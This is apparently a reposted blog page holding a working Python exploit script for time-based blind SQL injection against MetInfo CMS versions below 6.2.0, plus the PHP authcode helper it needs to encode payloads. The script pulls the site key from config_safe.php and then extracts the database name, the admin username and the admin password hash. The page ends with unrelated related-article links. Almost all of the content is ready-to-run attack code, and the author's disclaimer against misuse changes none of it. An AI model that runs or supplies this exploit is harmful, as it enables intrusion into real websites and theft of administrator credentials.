#coding=utf-8
import requests
import re
import sys
import time#获取config_safe.php中的 key
def getKey(url,headers,local_url):try:url_key = url + "/config/config_safe.php"rsp = requests.get(url_key,headers)p = re.compile(r'<\?php\/\*(.*)\*\/\?>')p1 = p.findall(rsp.text)key = p1[0]databaseLen(key,headers,local_url,url)except:sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):for str in range(1,21):len = '%d'%strpayload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"back_str = queryKey(key,headers,payload,local_url,url)if back_str is True:breakdatabaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):len = int(len)chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量database_name = ''for i in range(len):ch = i + 1ch = '%d'%chfor char in chars:payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"back_str = queryKey(key,headers,payload,local_url,url)if back_str is True:breakdatabase_name = database_name + charprint("数据库名字为:%s"%database_name)adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):#首先爆用户名长度for i in range(1,20):len = '%d'%ipayload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"back_len = queryKey(key,headers,payload_len,local_url,url)if back_len is True:break#在爆出用户名chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加admin_name = ''for x in range(i):str = '%d'%(x+1)for char in chars:payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"back_str = queryKey(key,headers,payload_str,local_url,url)if back_str is True:admin_name = admin_name + charbreakprint("管理员用户名为:%s"%admin_name)adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加admin_pass = ''for i in range(1,33):str = '%d'%ifor char in chars:payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"back_str = queryKey(key,headers,payload,local_url,url)if back_str is True:breakadmin_pass = admin_pass + charprint("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):payload = "key="+key+"&str="+strrsp = requests.post(local_url,headers = headers,data = payload)
#   str = rsp.url
#   data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
#   print(data)return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):params = "p="+payloadtest_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):startTime = time.time();rsp = requests.post(url,data=params,headers=headers)if time.time() - startTime > 4:return Trueelse:pass
if __name__ == '__main__':headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5"}url = input("please input URL:")if "http://" or "https://" in url:local_url = input("请输入本地搭建的encode函数地址:")getKey(url,headers,local_url)else:print("please input the correct url!!")  

本地搭建的encode函数:

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){$ckey_length = 4;  $key = md5($key ? $key : UC_KEY);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}}else{return $keyc.str_replace('=', '', base64_encode($result));}}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));

 使用图片:

此脚本为本人初学成果展示,请勿恶意利用该脚本攻击他人网站。

转载于:https://www.cnblogs.com/Spec/p/10735432.html

metinfo小于v6.2.0版本SQL盲注利用脚本相关推荐

  1. sql注入攻击与防御第二版读书笔记二——SQL盲注利用

    寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...

  2. sql盲注自动化脚本编写

    GET型bool注入 import requests baseurl='http://127.0.0.1/sqli-labs/Less-5/' db_name = '' db_lenth='' tab ...

  3. DVWA下的SQL注入与SQL盲注

    一.SQL注入 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, ...

  4. Dvwa之SQL盲注全级别学习笔记

    SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...

  5. 你不知道的20万sql盲注(速来)

    1盲注基础sql实验 cet 192.168.121.1 win 192.168.121.2 首先登入cet 进入数据库 然后在mysql客户端输入以下命令 use dvwa : 得到当前数据库名称 ...

  6. sql盲注的一些小心得

    一.关于概念 sql 盲注是对于那些页面没有回显的错误,只能依靠自己的经验去一点一点猜测,这就比较耗费时间了, 具体的一些原理可以参考https://blog.csdn.net/qq_36706878 ...

  7. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  8. python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注

    一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...

  9. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

最新文章

  1. 阿里技术人的成长路径是什么?
  2. linux 系统优化初始化配置
  3. matlab撤销上一步命令_CAD快速入门技巧:CAD软件中撤销操作的方法汇总
  4. 科大星云诗社动态20210215
  5. c++静态变量的生存期
  6. Android Activity标签属性
  7. 为什么我喜欢Spring bean别名
  8. mysql多表添加怎么写_mysql多表连接的几种写法
  9. window搭建python环境
  10. html 图片滑动验证码,html+jQuery实现拖动滑块图片拼图验证码插件【移动端适用】...
  11. mysql外键设置sql语句_数据库sql语句如何设置外键
  12. 寻宝游戏设定_Excel寻宝游戏
  13. xp计算机调亮度,老xp系统怎么调亮度台式电脑(教你XP系统如何调节亮度)
  14. CSS学习18:CSS选择器二
  15. 水质检测c语言程序,单片机TDS水质检测源程序
  16. 第一讲_SQP添加与查询语句
  17. Kettle连接mysql 驱动报 Driver class ‘org.gjt.mm.mysql.Driver‘ could not be found, make sure the ‘MySQL‘..
  18. 电子标签读取异常怎么办
  19. 校园安防之高清IP摄像头全终端无插件直播视频流媒体服务EasyNVR校园监控系统方案
  20. 2015年二本投档线

热门文章

  1. JVM 排查问题实战
  2. 理解vue中的组件(二)
  3. debian下erlang新版本安装
  4. OA应用案例:采矿业如何应用OA办公系统
  5. 网站导航(URL 映射和路由)
  6. 开源日志系统log4cplus(三)
  7. printf 打印 文件名 函数名 行号
  8. 蓝桥杯 ADV-14 算法提高 卡勒沃夫之弱水路三千(提高型)
  9. [swift] LeetCode 695. Max Area of Island
  10. LeetCode 118. Pascal’s Triangle